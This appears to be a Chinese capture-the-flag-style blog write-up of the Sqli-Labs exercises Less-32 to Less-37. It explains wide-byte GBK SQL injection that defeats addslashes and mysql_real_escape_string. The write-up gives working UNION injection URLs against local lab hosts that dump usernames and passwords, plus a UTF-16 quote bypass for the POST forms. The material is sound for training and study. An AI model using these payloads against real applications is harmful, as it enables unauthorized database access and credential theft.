Less-32

前置基础知识:宽字节注入

参考链接:

https://blog.csdn.net/helloc0de/article/details/76180190

https://blog.csdn.net/heiseweiye/article/details/82723478

宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。

中文、韩文、日文等均存在宽字节,英文默认都是一个字节。

在使用PHP连接MySQL的时候,当设置“set  character_set_client = gbk”时会导致一个编码转换的问题。

例子: id= 1’ 处理 1 \’ 进行编码 1%5c%27 带入sql后 id = \’ and XXXX 此时无法完成注入

id=1%df’ 处理 1%df\’ 进行编码 1%df%5c%27 带入sql后 id =1運’ and XXX 此时存在宽字节注入漏洞

推荐解码网站: http://www.mytju.com/classcode/tools/urldecode_gb2312.asp

第一种办法:

首先还是在代码中进行输出sql语句。

可以看到是单引号进行闭合,如果输入1‘,可以看到进行了转义

我们可以进行宽字节注入,  处理 1%df\’ 进行编码  1%df%5c%27   带入sql后  id =1運’

http://192.168.0.105/sqli-labs/Less-32/?id=0%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

第二种办法:%5c代表的是\,%aa%5c'会转义成%aa%5c%5c%5c%27,然后进行组合:

这样也可以实现注入,其实原理是一样的:

http://192.168.0.105/sqli-labs/Less-32/?id=0%aa%5c' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

less-33

到这一关结束了tomcat的关卡,我就继续用docker环境了。

我们查看源码发现这一关用了addslashes()函数,用法:https://www.w3school.com.cn/php/func_string_addslashes.asp

其实与上一关的区别就是,这一关是使用函数过滤。而上一关用的是自定义过滤。

所以,我们也可以用宽字节注入办法解决:

http://192.168.0.106:300/Less-33/?id=0%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

less-34

观察代码发现也用到了adds lashes()函数,理论上我们也可以用到上面的宽字节注入。但是并不行,因为用post传入数据,会再次编码。

抓包之后的uname:uname=admin%25df%27&passwd=ad&submit=Submit

所以这一步就是多加了一个转码%25,然后改包把25删去就可以了,这就是第一种办法:改包

第二种办法:将单引号的UTF-8转换为UTF-16的单引号模式 ‘  �’

�\‘ union select 1,2#

注意,这个符号在win2003中显示是不一样的:

这样就可以构造注入语句。

这是一种比较巧妙地绕WAF。

less-35

这一关基本与上一关相同,就是没有了数据包裹,所以不用‘直接进行注入:

http://192.168.0.106:300/Less-35/?id=0 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users

less-36

观察源码,发现与前面的区别就是使用的转义函数不一样:

mysql_real_escape_string函数(参考:https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp)

我们同样可以用之前的宽字节注入解决:

http://192.168.0.106:300/Less-36/?id=0%df'  union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

less-37

37关与34关类似,都是post形式,区别就是转义函数的区别: mysql_real_escape_string()

所以第一种办法就是可以用34关的单引号utf-8转换为utf-16的形式:
�'union select 1,2#

可以构造语句。另外还有一点,post和get形式有区别,post形式只有两个字段所以select1,2

第二种办法:可以抓包对其进行宽字节注入

Sqli-Labs less32-37的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  6. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  9. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. JNI小记

    本文参考<较详细的介绍JNI>一文,并添加了一些方法,代码已经过测试,留待日后工作使用.关于JNI的HelloWorld的例子,就不赘述了. java代码: 1 package com.c ...

  2. MQTT介绍与使用(转载)

    物联网是新一代信息技术的重要组成部分,也是"信息化"时代的重要发展阶段.其英文名称是:"Internet of things(IoT)".顾名思义,物联网就是物 ...

  3. excel带格式复制python

    openpyxl 复制cell单元格包括所有样式 target_cell.data_type = source_cell.data_type target_cell.fill = copy(sourc ...

  4. C语言怎么实现可变参数

    可变参数 可变参数是指函数的参数的数据类型和数量都是不固定的. printf函数的参数就是可变的.这个函数的原型是:int printf(const char *format, ...). 用一段代码 ...

  5. 【学习笔记】Tensor多维数组和axis的理解

    Tensor多维数组和axis的理解 今天在编写程序的时候一直对于axis=0或等于1搞不明白,这样对于整个numpy或者是tensorflow的基本运算和数据处理都会很模糊,所以花了一些时间来搞清楚 ...

  6. 【剑指offer】27. 二叉树的镜像

    剑指 Offer 27. 二叉树的镜像 知识点:二叉树:递归:栈 题目描述 请完成一个函数,输入一个二叉树,该函数输出它的镜像. 示例 输入:root = [4,2,7,1,3,6,9] 输出:[4, ...

  7. centos7 几种修改系统时区的方法

    1.  # cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime # ln -sf /usr/share/zoneinfo/Asia/Shanghai ...

  8. 【LeetCode】142. 环形链表 II

    142. 环形链表 II 知识点:链表:set:快慢指针 题目描述 给定一个链表,判断链表中是否有环. 给定一个链表,返回链表开始入环的第一个节点. 如果链表无环,则返回 null. 为了表示给定链表 ...

  9. Bootstrap框架--DataTables列表示例--添加判断

    一.参考代码 <%@ include file="./include/header.jsp"%> <!-- jquery.dataTables.css --> ...

  10. 性能测试之查看cpu命令

    top -m 用户空间进程(us). 内核空间进程(sy). 高nice值的用户空间进程(ni). 空闲(id). 空闲等待io(wa). 中断上半部(hi). 中断下半部(si). 以及steal时 ...